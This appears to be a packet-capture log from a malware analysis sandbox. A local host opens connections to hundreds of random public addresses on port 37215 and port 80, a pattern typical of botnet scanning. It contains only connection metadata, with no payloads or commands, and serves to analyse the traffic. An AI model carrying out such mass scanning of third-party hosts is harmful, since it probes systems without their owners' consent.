Jan 30, 2025 10:43:07.153458118 CET	60295	37215	192.168.2.14	41.20.111.137
Jan 30, 2025 10:43:07.153458118 CET	60295	37215	192.168.2.14	41.108.216.128
Jan 30, 2025 10:43:07.153458118 CET	60295	37215	192.168.2.14	156.17.72.247
Jan 30, 2025 10:43:07.153459072 CET	60295	37215	192.168.2.14	156.229.246.9
Jan 30, 2025 10:43:07.153458118 CET	60295	37215	192.168.2.14	156.142.218.94
Jan 30, 2025 10:43:07.153460026 CET	60295	37215	192.168.2.14	156.112.189.192
Jan 30, 2025 10:43:07.153458118 CET	60295	37215	192.168.2.14	156.217.209.148
Jan 30, 2025 10:43:07.153459072 CET	60295	37215	192.168.2.14	197.163.58.13
Jan 30, 2025 10:43:07.153459072 CET	60295	37215	192.168.2.14	197.55.168.188
Jan 30, 2025 10:43:07.153476954 CET	60295	37215	192.168.2.14	197.19.87.60
Jan 30, 2025 10:43:07.153477907 CET	60295	37215	192.168.2.14	41.158.116.235
Jan 30, 2025 10:43:07.153477907 CET	60295	37215	192.168.2.14	41.46.170.207
Jan 30, 2025 10:43:07.153480053 CET	60295	37215	192.168.2.14	156.119.121.180
Jan 30, 2025 10:43:07.153480053 CET	60295	37215	192.168.2.14	156.239.103.2
Jan 30, 2025 10:43:07.153480053 CET	60295	37215	192.168.2.14	41.66.49.32
Jan 30, 2025 10:43:07.153484106 CET	60295	37215	192.168.2.14	41.74.44.231
Jan 30, 2025 10:43:07.153484106 CET	60295	37215	192.168.2.14	41.197.53.101
Jan 30, 2025 10:43:07.153484106 CET	60295	37215	192.168.2.14	41.187.217.34
Jan 30, 2025 10:43:07.153486013 CET	60295	37215	192.168.2.14	41.47.14.69
Jan 30, 2025 10:43:07.153486967 CET	60295	37215	192.168.2.14	41.72.87.244
Jan 30, 2025 10:43:07.153486967 CET	60295	37215	192.168.2.14	41.132.176.90
Jan 30, 2025 10:43:07.153486967 CET	60295	37215	192.168.2.14	197.45.211.89
Jan 30, 2025 10:43:07.153489113 CET	60295	37215	192.168.2.14	156.253.79.4
Jan 30, 2025 10:43:07.153503895 CET	60295	37215	192.168.2.14	197.240.198.200
Jan 30, 2025 10:43:07.153503895 CET	60295	37215	192.168.2.14	41.59.103.36
Jan 30, 2025 10:43:07.153503895 CET	60295	37215	192.168.2.14	197.23.82.215
Jan 30, 2025 10:43:07.153505087 CET	60295	37215	192.168.2.14	156.198.45.201
Jan 30, 2025 10:43:07.153507948 CET	60295	37215	192.168.2.14	156.57.92.139
Jan 30, 2025 10:43:07.153507948 CET	60295	37215	192.168.2.14	197.11.48.132
Jan 30, 2025 10:43:07.153511047 CET	60295	37215	192.168.2.14	197.44.16.157
Jan 30, 2025 10:43:07.153512955 CET	60295	37215	192.168.2.14	197.193.29.153
Jan 30, 2025 10:43:07.153528929 CET	60295	37215	192.168.2.14	197.82.119.88
Jan 30, 2025 10:43:07.153528929 CET	60295	37215	192.168.2.14	197.35.135.37
Jan 30, 2025 10:43:07.153532028 CET	60295	37215	192.168.2.14	156.192.23.17
Jan 30, 2025 10:43:07.153532028 CET	60295	37215	192.168.2.14	41.42.50.1
Jan 30, 2025 10:43:07.153532982 CET	60295	37215	192.168.2.14	197.130.53.136
Jan 30, 2025 10:43:07.153532028 CET	60295	37215	192.168.2.14	156.63.8.22
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	41.92.201.41
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	41.105.220.4
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	197.236.182.249
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	197.114.118.108
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	197.229.184.114
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	41.66.181.97
Jan 30, 2025 10:43:07.153537035 CET	60295	37215	192.168.2.14	197.42.90.184
Jan 30, 2025 10:43:07.153552055 CET	60295	37215	192.168.2.14	156.193.207.33
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	156.251.26.96
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	41.225.249.200
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	197.212.99.112
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	197.115.32.87
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	156.58.147.64
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	41.123.176.158
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	197.77.58.83
Jan 30, 2025 10:43:07.153556108 CET	60295	37215	192.168.2.14	197.237.0.114
Jan 30, 2025 10:43:07.153561115 CET	60295	37215	192.168.2.14	197.151.8.86
Jan 30, 2025 10:43:07.153561115 CET	60295	37215	192.168.2.14	156.40.161.235
Jan 30, 2025 10:43:07.153562069 CET	60295	37215	192.168.2.14	156.91.146.32
Jan 30, 2025 10:43:07.153563023 CET	60295	37215	192.168.2.14	156.151.60.120
Jan 30, 2025 10:43:07.153563023 CET	60295	37215	192.168.2.14	41.255.78.144
Jan 30, 2025 10:43:07.153563023 CET	60295	37215	192.168.2.14	156.155.113.148
Jan 30, 2025 10:43:07.153563023 CET	60295	37215	192.168.2.14	156.250.156.87
Jan 30, 2025 10:43:07.153563023 CET	60295	37215	192.168.2.14	41.113.0.199
Jan 30, 2025 10:43:07.153565884 CET	60295	37215	192.168.2.14	197.150.145.56
Jan 30, 2025 10:43:07.153565884 CET	60295	37215	192.168.2.14	41.219.109.151
Jan 30, 2025 10:43:07.153565884 CET	60295	37215	192.168.2.14	197.57.180.244
Jan 30, 2025 10:43:07.153565884 CET	60295	37215	192.168.2.14	156.239.216.99
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	41.6.73.169
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	41.175.50.228
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	197.18.85.186
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	156.28.91.67
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	197.196.158.253
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	41.102.140.103
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	156.240.15.201
Jan 30, 2025 10:43:07.153573990 CET	60295	37215	192.168.2.14	156.77.81.80
Jan 30, 2025 10:43:07.153580904 CET	60295	37215	192.168.2.14	197.107.160.227
Jan 30, 2025 10:43:07.153582096 CET	60295	37215	192.168.2.14	156.162.172.129
Jan 30, 2025 10:43:07.153583050 CET	60295	37215	192.168.2.14	41.238.119.3
Jan 30, 2025 10:43:07.153583050 CET	60295	37215	192.168.2.14	197.12.180.248
Jan 30, 2025 10:43:07.153583050 CET	60295	37215	192.168.2.14	156.119.103.164
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	41.3.38.207
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	197.245.237.25
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	197.208.192.197
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	156.252.193.125
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	41.81.187.197
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	197.90.142.46
Jan 30, 2025 10:43:07.153584957 CET	60295	37215	192.168.2.14	197.20.190.71
Jan 30, 2025 10:43:07.153589964 CET	60295	37215	192.168.2.14	197.80.9.89
Jan 30, 2025 10:43:07.153589964 CET	60295	37215	192.168.2.14	156.215.147.25
Jan 30, 2025 10:43:07.153589964 CET	60295	37215	192.168.2.14	41.89.41.242
Jan 30, 2025 10:43:07.153589964 CET	60295	37215	192.168.2.14	156.107.49.152
Jan 30, 2025 10:43:07.153589964 CET	60295	37215	192.168.2.14	156.23.108.251
Jan 30, 2025 10:43:07.153598070 CET	60295	37215	192.168.2.14	41.109.249.77
Jan 30, 2025 10:43:07.153598070 CET	60295	37215	192.168.2.14	197.215.133.207
Jan 30, 2025 10:43:07.153598070 CET	60295	37215	192.168.2.14	41.26.84.213
Jan 30, 2025 10:43:07.153600931 CET	60295	37215	192.168.2.14	156.241.51.37
Jan 30, 2025 10:43:07.153601885 CET	60295	37215	192.168.2.14	197.66.150.218
Jan 30, 2025 10:43:07.153605938 CET	60295	37215	192.168.2.14	197.76.117.46
Jan 30, 2025 10:43:07.153610945 CET	60295	37215	192.168.2.14	41.189.208.201
Jan 30, 2025 10:43:07.153610945 CET	60295	37215	192.168.2.14	197.205.54.40
Jan 30, 2025 10:43:07.153610945 CET	60295	37215	192.168.2.14	41.99.198.183
Jan 30, 2025 10:43:07.153610945 CET	60295	37215	192.168.2.14	41.246.12.155
Jan 30, 2025 10:43:07.153628111 CET	60295	37215	192.168.2.14	41.74.185.181
Jan 30, 2025 10:43:07.153628111 CET	60295	37215	192.168.2.14	156.71.201.14
Jan 30, 2025 10:43:07.153630972 CET	60295	37215	192.168.2.14	156.210.64.158
Jan 30, 2025 10:43:07.153630972 CET	60295	37215	192.168.2.14	156.99.127.250
Jan 30, 2025 10:43:07.153640032 CET	60295	37215	192.168.2.14	156.109.121.50
Jan 30, 2025 10:43:07.153640032 CET	60295	37215	192.168.2.14	41.52.147.6
Jan 30, 2025 10:43:07.153640032 CET	60295	37215	192.168.2.14	197.219.184.61
Jan 30, 2025 10:43:07.153640985 CET	60295	37215	192.168.2.14	197.97.208.144
Jan 30, 2025 10:43:07.153640032 CET	60295	37215	192.168.2.14	197.116.246.251
Jan 30, 2025 10:43:07.153640985 CET	60295	37215	192.168.2.14	41.227.227.49
Jan 30, 2025 10:43:07.153641939 CET	60295	37215	192.168.2.14	197.244.23.127
Jan 30, 2025 10:43:07.153640032 CET	60295	37215	192.168.2.14	41.138.42.176
Jan 30, 2025 10:43:07.153645039 CET	60295	37215	192.168.2.14	41.251.152.249
Jan 30, 2025 10:43:07.153641939 CET	60295	37215	192.168.2.14	197.186.84.82
Jan 30, 2025 10:43:07.153650045 CET	60295	37215	192.168.2.14	197.228.247.3
Jan 30, 2025 10:43:07.153662920 CET	60295	37215	192.168.2.14	41.55.154.107
Jan 30, 2025 10:43:07.153665066 CET	60295	37215	192.168.2.14	41.187.254.199
Jan 30, 2025 10:43:07.153665066 CET	60295	37215	192.168.2.14	197.153.203.226
Jan 30, 2025 10:43:07.153667927 CET	60295	37215	192.168.2.14	156.85.169.254
Jan 30, 2025 10:43:07.153667927 CET	60295	37215	192.168.2.14	156.170.97.197
Jan 30, 2025 10:43:07.153667927 CET	60295	37215	192.168.2.14	197.105.239.84
Jan 30, 2025 10:43:07.153670073 CET	60295	37215	192.168.2.14	156.149.26.118
Jan 30, 2025 10:43:07.153667927 CET	60295	37215	192.168.2.14	156.32.219.241
Jan 30, 2025 10:43:07.153673887 CET	60295	37215	192.168.2.14	156.252.33.56
Jan 30, 2025 10:43:07.153670073 CET	60295	37215	192.168.2.14	156.97.200.182
Jan 30, 2025 10:43:07.153673887 CET	60295	37215	192.168.2.14	156.249.207.254
Jan 30, 2025 10:43:07.153670073 CET	60295	37215	192.168.2.14	156.163.8.79
Jan 30, 2025 10:43:07.153673887 CET	60295	37215	192.168.2.14	197.66.19.3
Jan 30, 2025 10:43:07.153673887 CET	60295	37215	192.168.2.14	41.156.146.242
Jan 30, 2025 10:43:07.153673887 CET	60295	37215	192.168.2.14	41.183.234.251
Jan 30, 2025 10:43:07.153681993 CET	60295	37215	192.168.2.14	197.14.63.104
Jan 30, 2025 10:43:07.153681993 CET	60295	37215	192.168.2.14	197.29.9.175
Jan 30, 2025 10:43:07.153681993 CET	60295	37215	192.168.2.14	41.79.228.249
Jan 30, 2025 10:43:07.153681993 CET	60295	37215	192.168.2.14	156.7.186.28
Jan 30, 2025 10:43:07.153681993 CET	60295	37215	192.168.2.14	197.126.157.156
Jan 30, 2025 10:43:07.153687000 CET	60295	37215	192.168.2.14	197.110.33.218
Jan 30, 2025 10:43:07.153688908 CET	60295	37215	192.168.2.14	156.80.208.16
Jan 30, 2025 10:43:07.153688908 CET	60295	37215	192.168.2.14	156.35.72.152
Jan 30, 2025 10:43:07.153695107 CET	60295	37215	192.168.2.14	41.57.33.42
Jan 30, 2025 10:43:07.153695107 CET	60295	37215	192.168.2.14	156.222.214.158
Jan 30, 2025 10:43:07.153696060 CET	60295	37215	192.168.2.14	156.79.7.30
Jan 30, 2025 10:43:07.153701067 CET	60295	37215	192.168.2.14	197.88.85.195
Jan 30, 2025 10:43:07.153701067 CET	60295	37215	192.168.2.14	197.217.212.153
Jan 30, 2025 10:43:07.153701067 CET	60295	37215	192.168.2.14	197.135.210.156
Jan 30, 2025 10:43:07.153701067 CET	60295	37215	192.168.2.14	41.146.38.42
Jan 30, 2025 10:43:07.153721094 CET	60295	37215	192.168.2.14	156.9.242.127
Jan 30, 2025 10:43:07.153723955 CET	60295	37215	192.168.2.14	197.252.14.214
Jan 30, 2025 10:43:07.153723955 CET	60295	37215	192.168.2.14	197.106.173.45
Jan 30, 2025 10:43:07.153728008 CET	60295	37215	192.168.2.14	197.39.239.249
Jan 30, 2025 10:43:07.153728008 CET	60295	37215	192.168.2.14	41.43.97.176
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	156.225.128.193
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	156.52.17.50
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	197.203.224.237
Jan 30, 2025 10:43:07.153731108 CET	60295	37215	192.168.2.14	41.67.68.56
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	197.101.152.170
Jan 30, 2025 10:43:07.153731108 CET	60295	37215	192.168.2.14	156.134.163.253
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	41.38.207.114
Jan 30, 2025 10:43:07.153731108 CET	60295	37215	192.168.2.14	197.184.17.53
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	41.157.222.158
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	197.138.190.86
Jan 30, 2025 10:43:07.153729916 CET	60295	37215	192.168.2.14	197.7.102.2
Jan 30, 2025 10:43:07.153740883 CET	60295	37215	192.168.2.14	41.212.105.140
Jan 30, 2025 10:43:07.153740883 CET	60295	37215	192.168.2.14	197.44.104.179
Jan 30, 2025 10:43:07.153749943 CET	60295	37215	192.168.2.14	41.57.107.184
Jan 30, 2025 10:43:07.153791904 CET	60295	37215	192.168.2.14	156.20.247.230
Jan 30, 2025 10:43:07.153791904 CET	60295	37215	192.168.2.14	197.136.79.124
Jan 30, 2025 10:43:07.153791904 CET	60295	37215	192.168.2.14	197.26.229.211
Jan 30, 2025 10:43:07.153846979 CET	36094	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:07.153846979 CET	59050	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:07.153853893 CET	53256	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:07.153863907 CET	50100	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:07.153867006 CET	36374	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:07.153877020 CET	37188	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:07.153877020 CET	43770	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:07.157921076 CET	37215	60295	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.157934904 CET	37215	60295	156.148.227.108	192.168.2.14
Jan 30, 2025 10:43:07.157944918 CET	37215	60295	41.228.115.4	192.168.2.14
Jan 30, 2025 10:43:07.157984018 CET	37215	38040	156.244.153.180	192.168.2.14
Jan 30, 2025 10:43:07.157990932 CET	60295	37215	192.168.2.14	156.148.227.108
Jan 30, 2025 10:43:07.157999992 CET	60295	37215	192.168.2.14	41.228.115.4
Jan 30, 2025 10:43:07.157999992 CET	60295	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.158029079 CET	38040	37215	192.168.2.14	156.244.153.180
Jan 30, 2025 10:43:07.158210993 CET	37215	39658	41.99.242.230	192.168.2.14
Jan 30, 2025 10:43:07.158257961 CET	39658	37215	192.168.2.14	41.99.242.230
Jan 30, 2025 10:43:07.158373117 CET	37215	44018	197.50.34.79	192.168.2.14
Jan 30, 2025 10:43:07.158412933 CET	44018	37215	192.168.2.14	197.50.34.79
Jan 30, 2025 10:43:07.158927917 CET	37215	36094	197.191.245.38	192.168.2.14
Jan 30, 2025 10:43:07.158936977 CET	37215	59050	41.180.130.242	192.168.2.14
Jan 30, 2025 10:43:07.158946037 CET	37215	53256	156.55.180.225	192.168.2.14
Jan 30, 2025 10:43:07.158957958 CET	37215	37188	197.103.208.53	192.168.2.14
Jan 30, 2025 10:43:07.158967018 CET	36094	37215	192.168.2.14	197.191.245.38
Jan 30, 2025 10:43:07.158967018 CET	59050	37215	192.168.2.14	41.180.130.242
Jan 30, 2025 10:43:07.158977985 CET	37215	43144	41.175.68.121	192.168.2.14
Jan 30, 2025 10:43:07.158977985 CET	53256	37215	192.168.2.14	156.55.180.225
Jan 30, 2025 10:43:07.158988953 CET	37188	37215	192.168.2.14	197.103.208.53
Jan 30, 2025 10:43:07.159019947 CET	43144	37215	192.168.2.14	41.175.68.121
Jan 30, 2025 10:43:07.159194946 CET	37215	43770	41.46.127.52	192.168.2.14
Jan 30, 2025 10:43:07.159239054 CET	43770	37215	192.168.2.14	41.46.127.52
Jan 30, 2025 10:43:07.159380913 CET	37215	36374	197.171.102.195	192.168.2.14
Jan 30, 2025 10:43:07.159421921 CET	36374	37215	192.168.2.14	197.171.102.195
Jan 30, 2025 10:43:07.159584999 CET	37215	50100	156.46.13.57	192.168.2.14
Jan 30, 2025 10:43:07.159626961 CET	50100	37215	192.168.2.14	156.46.13.57
Jan 30, 2025 10:43:07.179052114 CET	37140	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:07.179052114 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:07.185067892 CET	37215	37140	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:07.185081005 CET	37215	51542	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:07.185133934 CET	37140	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:07.185133934 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:07.185169935 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:07.185180902 CET	37140	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:07.185873985 CET	46392	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.186856031 CET	55780	37215	192.168.2.14	41.228.115.4
Jan 30, 2025 10:43:07.187820911 CET	57704	37215	192.168.2.14	156.148.227.108
Jan 30, 2025 10:43:07.191557884 CET	37215	37140	41.158.143.19	192.168.2.14
Jan 30, 2025 10:43:07.191612959 CET	37140	37215	192.168.2.14	41.158.143.19
Jan 30, 2025 10:43:07.191696882 CET	37215	51542	41.51.110.42	192.168.2.14
Jan 30, 2025 10:43:07.191751003 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:07.191864967 CET	37215	46392	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.191917896 CET	46392	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.191963911 CET	46392	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.191963911 CET	46392	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.192420006 CET	46398	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.198450089 CET	37215	46392	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.200438976 CET	37215	46398	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.200491905 CET	46398	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.200508118 CET	46398	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.205480099 CET	37215	46398	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.205527067 CET	46398	37215	192.168.2.14	41.227.124.233
Jan 30, 2025 10:43:07.239722013 CET	37215	46392	41.227.124.233	192.168.2.14
Jan 30, 2025 10:43:07.243061066 CET	52674	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:07.243067980 CET	34840	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:07.248012066 CET	37215	34840	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:07.248023033 CET	37215	52674	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:07.248075008 CET	34840	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:07.248079062 CET	52674	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:07.248116016 CET	34840	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:07.248123884 CET	52674	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:07.254427910 CET	37215	34840	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:07.254494905 CET	34840	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:07.254582882 CET	37215	52674	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:07.254631042 CET	52674	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:07.491627932 CET	62855	80	192.168.2.14	155.79.148.101
Jan 30, 2025 10:43:07.491628885 CET	62855	80	192.168.2.14	86.12.127.77
Jan 30, 2025 10:43:07.491642952 CET	62855	80	192.168.2.14	116.146.162.253
Jan 30, 2025 10:43:07.491646051 CET	62855	80	192.168.2.14	140.38.79.111
Jan 30, 2025 10:43:07.491651058 CET	62855	80	192.168.2.14	111.185.169.137
Jan 30, 2025 10:43:07.491664886 CET	62855	80	192.168.2.14	216.35.1.242
Jan 30, 2025 10:43:07.491664886 CET	62855	80	192.168.2.14	71.61.126.160
Jan 30, 2025 10:43:07.491681099 CET	62855	80	192.168.2.14	208.22.142.137
Jan 30, 2025 10:43:07.491681099 CET	62855	80	192.168.2.14	176.40.25.167
Jan 30, 2025 10:43:07.491683960 CET	62855	80	192.168.2.14	153.78.202.93
Jan 30, 2025 10:43:07.491697073 CET	62855	80	192.168.2.14	99.42.56.67
Jan 30, 2025 10:43:07.491705894 CET	62855	80	192.168.2.14	179.74.161.214
Jan 30, 2025 10:43:07.491705894 CET	62855	80	192.168.2.14	213.66.22.197
Jan 30, 2025 10:43:07.491705894 CET	62855	80	192.168.2.14	32.203.80.60
Jan 30, 2025 10:43:07.491708994 CET	62855	80	192.168.2.14	46.193.207.161
Jan 30, 2025 10:43:07.491720915 CET	62855	80	192.168.2.14	54.110.162.161
Jan 30, 2025 10:43:07.491722107 CET	62855	80	192.168.2.14	138.44.154.105
Jan 30, 2025 10:43:07.491741896 CET	62855	80	192.168.2.14	117.121.51.21
Jan 30, 2025 10:43:07.491744041 CET	62855	80	192.168.2.14	146.162.241.133
Jan 30, 2025 10:43:07.491745949 CET	62855	80	192.168.2.14	128.233.189.196
Jan 30, 2025 10:43:07.491756916 CET	62855	80	192.168.2.14	128.182.63.41
Jan 30, 2025 10:43:07.491760015 CET	62855	80	192.168.2.14	164.58.176.234
Jan 30, 2025 10:43:07.491760969 CET	62855	80	192.168.2.14	195.238.19.213
Jan 30, 2025 10:43:07.491772890 CET	62855	80	192.168.2.14	162.4.48.46
Jan 30, 2025 10:43:07.491776943 CET	62855	80	192.168.2.14	142.122.170.3
Jan 30, 2025 10:43:07.491791010 CET	62855	80	192.168.2.14	185.95.227.125
Jan 30, 2025 10:43:07.491805077 CET	62855	80	192.168.2.14	63.113.108.120
Jan 30, 2025 10:43:07.491806984 CET	62855	80	192.168.2.14	83.49.184.91
Jan 30, 2025 10:43:07.491816044 CET	62855	80	192.168.2.14	134.178.74.216
Jan 30, 2025 10:43:07.491823912 CET	62855	80	192.168.2.14	174.182.100.161
Jan 30, 2025 10:43:07.491839886 CET	62855	80	192.168.2.14	32.125.248.64
Jan 30, 2025 10:43:07.491839886 CET	62855	80	192.168.2.14	69.97.119.213
Jan 30, 2025 10:43:07.491843939 CET	62855	80	192.168.2.14	14.86.187.189
Jan 30, 2025 10:43:07.491844893 CET	62855	80	192.168.2.14	102.55.70.1
Jan 30, 2025 10:43:07.491846085 CET	62855	80	192.168.2.14	77.46.111.11
Jan 30, 2025 10:43:07.491849899 CET	62855	80	192.168.2.14	194.175.21.70
Jan 30, 2025 10:43:07.491852045 CET	62855	80	192.168.2.14	92.33.181.2
Jan 30, 2025 10:43:07.491863966 CET	62855	80	192.168.2.14	84.123.130.93
Jan 30, 2025 10:43:07.491871119 CET	62855	80	192.168.2.14	91.75.35.246
Jan 30, 2025 10:43:07.491882086 CET	62855	80	192.168.2.14	86.129.191.142
Jan 30, 2025 10:43:07.491882086 CET	62855	80	192.168.2.14	138.227.182.92
Jan 30, 2025 10:43:07.491894007 CET	62855	80	192.168.2.14	121.182.226.56
Jan 30, 2025 10:43:07.491900921 CET	62855	80	192.168.2.14	111.241.147.63
Jan 30, 2025 10:43:07.491902113 CET	62855	80	192.168.2.14	39.76.210.123
Jan 30, 2025 10:43:07.491913080 CET	62855	80	192.168.2.14	204.237.82.188
Jan 30, 2025 10:43:07.491925001 CET	62855	80	192.168.2.14	106.238.161.186
Jan 30, 2025 10:43:07.491925001 CET	62855	80	192.168.2.14	95.74.110.14
Jan 30, 2025 10:43:07.491940022 CET	62855	80	192.168.2.14	163.2.17.38
Jan 30, 2025 10:43:07.491940975 CET	62855	80	192.168.2.14	101.199.39.106
Jan 30, 2025 10:43:07.491940975 CET	62855	80	192.168.2.14	115.250.60.164
Jan 30, 2025 10:43:07.491944075 CET	62855	80	192.168.2.14	70.124.22.187
Jan 30, 2025 10:43:07.491954088 CET	62855	80	192.168.2.14	154.11.32.239
Jan 30, 2025 10:43:07.491962910 CET	62855	80	192.168.2.14	150.14.139.17
Jan 30, 2025 10:43:07.491962910 CET	62855	80	192.168.2.14	170.161.232.2
Jan 30, 2025 10:43:07.491967916 CET	62855	80	192.168.2.14	169.72.167.37
Jan 30, 2025 10:43:07.491971970 CET	62855	80	192.168.2.14	47.251.168.222
Jan 30, 2025 10:43:07.491972923 CET	62855	80	192.168.2.14	19.19.185.172
Jan 30, 2025 10:43:07.491986036 CET	62855	80	192.168.2.14	122.68.119.251
Jan 30, 2025 10:43:07.491992950 CET	62855	80	192.168.2.14	218.241.220.11
Jan 30, 2025 10:43:07.491995096 CET	62855	80	192.168.2.14	217.251.29.213
Jan 30, 2025 10:43:07.491998911 CET	62855	80	192.168.2.14	86.161.186.73
Jan 30, 2025 10:43:07.492007017 CET	62855	80	192.168.2.14	77.225.159.163
Jan 30, 2025 10:43:07.492011070 CET	62855	80	192.168.2.14	138.138.33.240
Jan 30, 2025 10:43:07.492021084 CET	62855	80	192.168.2.14	148.185.226.11
Jan 30, 2025 10:43:07.492021084 CET	62855	80	192.168.2.14	89.107.91.89
Jan 30, 2025 10:43:07.492022038 CET	62855	80	192.168.2.14	173.161.3.221
Jan 30, 2025 10:43:07.492022991 CET	62855	80	192.168.2.14	82.125.60.192
Jan 30, 2025 10:43:07.492023945 CET	62855	80	192.168.2.14	165.175.209.211
Jan 30, 2025 10:43:07.492044926 CET	62855	80	192.168.2.14	8.97.39.164
Jan 30, 2025 10:43:07.492044926 CET	62855	80	192.168.2.14	68.150.2.93
Jan 30, 2025 10:43:07.492048025 CET	62855	80	192.168.2.14	218.28.187.252
Jan 30, 2025 10:43:07.492048025 CET	62855	80	192.168.2.14	75.223.0.227
Jan 30, 2025 10:43:07.492048025 CET	62855	80	192.168.2.14	35.75.252.105
Jan 30, 2025 10:43:07.492053032 CET	62855	80	192.168.2.14	147.15.94.125
Jan 30, 2025 10:43:07.492053032 CET	62855	80	192.168.2.14	210.126.139.119
Jan 30, 2025 10:43:07.492053986 CET	62855	80	192.168.2.14	179.102.223.159
Jan 30, 2025 10:43:07.492059946 CET	62855	80	192.168.2.14	210.42.210.111
Jan 30, 2025 10:43:07.492070913 CET	62855	80	192.168.2.14	167.52.167.147
Jan 30, 2025 10:43:07.492074013 CET	62855	80	192.168.2.14	218.79.140.51
Jan 30, 2025 10:43:07.492079973 CET	62855	80	192.168.2.14	24.115.139.89
Jan 30, 2025 10:43:07.492084980 CET	62855	80	192.168.2.14	77.142.167.219
Jan 30, 2025 10:43:07.492091894 CET	62855	80	192.168.2.14	93.76.131.224
Jan 30, 2025 10:43:07.492101908 CET	62855	80	192.168.2.14	109.78.24.58
Jan 30, 2025 10:43:07.492105007 CET	62855	80	192.168.2.14	133.104.148.45
Jan 30, 2025 10:43:07.492111921 CET	62855	80	192.168.2.14	116.123.225.78
Jan 30, 2025 10:43:07.492122889 CET	62855	80	192.168.2.14	197.33.2.24
Jan 30, 2025 10:43:07.492122889 CET	62855	80	192.168.2.14	67.171.27.0
Jan 30, 2025 10:43:07.492124081 CET	62855	80	192.168.2.14	217.25.47.122
Jan 30, 2025 10:43:07.492140055 CET	62855	80	192.168.2.14	202.63.236.186
Jan 30, 2025 10:43:07.492145061 CET	62855	80	192.168.2.14	202.126.239.155
Jan 30, 2025 10:43:07.492147923 CET	62855	80	192.168.2.14	173.210.47.128
Jan 30, 2025 10:43:07.492161036 CET	62855	80	192.168.2.14	200.142.88.186
Jan 30, 2025 10:43:07.492163897 CET	62855	80	192.168.2.14	122.66.183.42
Jan 30, 2025 10:43:07.492163897 CET	62855	80	192.168.2.14	154.232.130.3
